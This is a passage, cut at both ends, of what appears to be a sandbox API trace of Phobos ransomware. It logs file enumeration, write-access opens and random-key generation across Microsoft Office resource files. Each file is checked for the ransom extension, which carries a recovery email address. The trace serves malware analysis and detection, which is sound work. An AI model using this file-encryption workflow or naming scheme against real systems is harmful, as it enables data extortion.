Office\\root\\Office16\\1033\\TellMeOneNote.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.917] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOneNote.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeonenote.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.918] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.918] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.918] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=197680) returned 1 [0154.918] CloseHandle (hObject=0x588) returned 1 [0154.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr")) returned 0x220 [0154.919] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlook.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlook.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.919] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.919] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.920] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=252356) returned 1 [0154.920] CloseHandle (hObject=0x588) returned 1 [0154.920] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr")) returned 0x220 [0154.921] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAddr.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookaddr.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.921] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.921] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.922] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=280824) returned 1 [0154.922] CloseHandle (hObject=0x588) returned 1 [0154.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr")) returned 0x220 [0154.922] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookAppt.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookappt.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.922] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.922] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.923] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=284372) returned 1 [0154.923] CloseHandle (hObject=0x588) returned 1 [0154.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr")) returned 0x220 [0154.923] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.923] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMail.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmail.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.924] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.924] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.924] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=269024) returned 1 [0154.924] CloseHandle (hObject=0x588) returned 1 [0154.924] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr")) returned 0x220 [0154.925] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMailRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmailread.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.925] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.925] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.926] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=261556) returned 1 [0154.926] CloseHandle (hObject=0x588) returned 1 [0154.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr")) returned 0x220 [0154.926] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqRead.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqread.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.926] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.926] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.927] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=260032) returned 1 [0154.927] CloseHandle (hObject=0x588) returned 1 [0154.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr")) returned 0x220 [0154.927] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.927] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookMeetingReqSend.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlookmeetingreqsend.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.928] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.928] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.928] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=253280) returned 1 [0154.929] CloseHandle (hObject=0x588) returned 1 [0154.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr")) returned 0x220 [0154.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeOutlookTask.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeoutlooktask.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.929] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.929] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.930] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=310092) returned 1 [0154.930] CloseHandle (hObject=0x588) returned 1 [0154.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr")) returned 0x220 [0154.930] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMePowerPoint.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmepowerpoint.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.930] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.930] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.931] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=297292) returned 1 [0154.931] CloseHandle (hObject=0x588) returned 1 [0154.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr")) returned 0x220 [0154.931] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.931] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeProject.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeproject.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.932] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.932] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.932] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=215772) returned 1 [0154.932] CloseHandle (hObject=0x588) returned 1 [0154.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr")) returned 0x220 [0154.932] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeVisio.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmevisio.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.933] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.933] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588 [0154.933] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=391796) returned 1 [0154.933] CloseHandle (hObject=0x588) returned 1 [0154.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr")) returned 0x220 [0154.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0154.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TellMeWord.nrr" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\tellmeword.nrr"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0154.934] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0154.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.108] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=370768) returned 1 [0155.108] CloseHandle (hObject=0x36c) returned 1 [0155.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl")) returned 0x220 [0155.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\TIMESOLN.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\timesoln.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.109] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UcAddinRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ucaddinres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.110] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=168008) returned 1 [0155.110] CloseHandle (hObject=0x36c) returned 1 [0155.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UcAddinRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ucaddinres.dll")) returned 0x220 [0155.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UcAddinRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ucaddinres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UcAddinRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\ucaddinres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.111] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UccApiRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\uccapires.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.112] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=1286216) returned 1 [0155.112] CloseHandle (hObject=0x36c) returned 1 [0155.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UccApiRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\uccapires.dll")) returned 0x220 [0155.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UccApiRes.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\uccapires.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UccApiRes.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\uccapires.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.112] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.113] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3fdfb48 | out: lpFileSize=0x3fdfb48*=67168) returned 1 [0155.113] CloseHandle (hObject=0x36c) returned 1 [0155.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\umoutlookstrings.dll")) returned 0x220 [0155.113] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UmOutlookStrings.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\umoutlookstrings.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0155.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\UmOutlookStrings.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\umoutlookstrings.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0155.113] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3fdfba8 | out: pbBuffer=0x3fdfba8) returned 1 [0155.113] CreateFileW 